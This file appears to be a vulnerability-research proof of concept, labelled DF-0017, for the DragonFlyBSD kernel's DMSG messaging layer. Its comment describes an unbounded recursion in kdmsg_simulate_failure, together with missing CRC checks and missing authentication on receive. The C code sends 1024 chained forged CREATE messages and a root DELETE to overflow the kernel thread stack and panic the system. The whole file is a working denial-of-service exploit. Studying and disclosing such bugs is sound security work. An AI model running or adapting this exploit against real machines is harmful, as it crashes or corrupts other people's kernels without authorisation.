DF-0017 / kdmsg_stackoverflow.c
/* * DF-0017 PoC - kdmsg unbounded recursion -> kernel thread stack overflow. * * kdmsg_simulate_failure() (sys/kern/kern_dmsg.c:1321-1351) recurses through * state->subq with NO depth limit (line 1346). The DMSG state machine lets a * peer build an arbitrarily deep parent->child chain by sending CREATE * messages whose `circuit` field references the previous state's msgid; the * new child is linked into pstate->subq (kern_dmsg.c:917). Triggering cleanup * -- a DELETE on the chain root (kdmsg_state_cleanuprx at :1255 calls * kdmsg_simulate_failure) or simply closing the connection (write-thread * teardown at :555) -- recurses depth-first through the whole chain and * overflows the 16 KB LWKT thread stack (UPAGES*PAGE_SIZE = 4*4096, * sys/sys/thread.h:472), panicking or corrupting the kernel. * * Note: the kernel computes DMSG CRCs only on TRANSMIT, never verifying them * on receive (kern_dmsg.c:2009/2012 vs the receive path), so forged messages * are accepted; LNK_AUTH is unimplemented, so there is no kernel-layer auth. * * Reachability: a DMSG peer can reach this parser via the userland hammer2 * relay daemon (cluster network -- HAMMER2 clustering in use) or locally via * the DIOCRECLUSTER ioctl on a disk device node (typically root/operator). * * This PoC builds the crafted wire messages and writes them to a supplied * connected fd (the DMSG iocom pipe/socket). Attach that fd to a DMSG iocom * via DIOCRECLUSTER on a disk device, or speak the relay protocol to a * hammer2 userland daemon, before running. * * Build (DragonFlyBSD): cc -o kdmsg_stackoverflow kdmsg_stackoverflow.c * * WARNING: on a vulnerable kernel this PANICS / corrupts the kernel stack. * Run only on a disposable VM that has HAMMER2/DMSG wired up. * * Expected (bug present): kernel panic from double-fault / stack overflow * ("supervisor read, page not present" in the deep recursion, or stack-overflow * guard hit) after the final DELETE (or on connection close). */ #include <sys/types.h> #include <sys/dmsg.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <err.h> #define DMSG_MAGIC0 0x4832 /* Build a minimal 64-byte dmsg header (no aux). */ static void mk_dmsg(void *buf, uint32_t cmd, uint64_t msgid, uint64_t circuit) { struct dmsg_hdr *h = buf; memset(buf, 0, 64); h->magic = DMSG_MAGIC0; h->cmd = cmd; h->msgid = msgid; h->circuit = circuit; /* hdr_crc/aux_crc are NOT verified on receive -> any value works */ h->hdr_crc = 0; } int main(int argc, char **argv) { int fd, i; int depth = 1024; /* >> ~250 needed to overflow 16 KB stack */ if (argc < 2) errx(2, "usage: %s <connected-dmsg-fd> [depth]", argv[0]); fd = atoi(argv[1]); if (argc >= 3) depth = atoi(argv[2]); fprintf(stderr, "[*] sending %d chained CREATE messages + root DELETE\n", depth); /* Chain: msgid=1 has circuit=0 (child of state0); msgid=i has circuit=i-1. */ for (i = 1; i <= depth; i++) { char buf[64]; mk_dmsg(buf, DMSGF_CREATE | DMSG_LNK_PAD, (uint64_t)i, (i == 1) ? 0 : (uint64_t)(i - 1)); if (write(fd, buf, sizeof(buf)) != (ssize_t)sizeof(buf)) err(1, "write CREATE %d", i); } /* DELETE the chain root -> cleanuprx -> kdmsg_simulate_failure(state1) * recurses state1->state2->...->stateN, overflowing the 16 KB stack. */ char buf[64]; mk_dmsg(buf, DMSGF_DELETE | DMSG_LNK_PAD, 1ULL, 0); if (write(fd, buf, sizeof(buf)) != (ssize_t)sizeof(buf)) err(1, "write DELETE root"); /* Alternatively, just closing `fd` triggers the write-thread teardown * recursion (kern_dmsg.c:555) with the same result. */ fprintf(stderr, "[*] done; expect kernel panic (stack overflow) on the " "target\n"); return 0; } |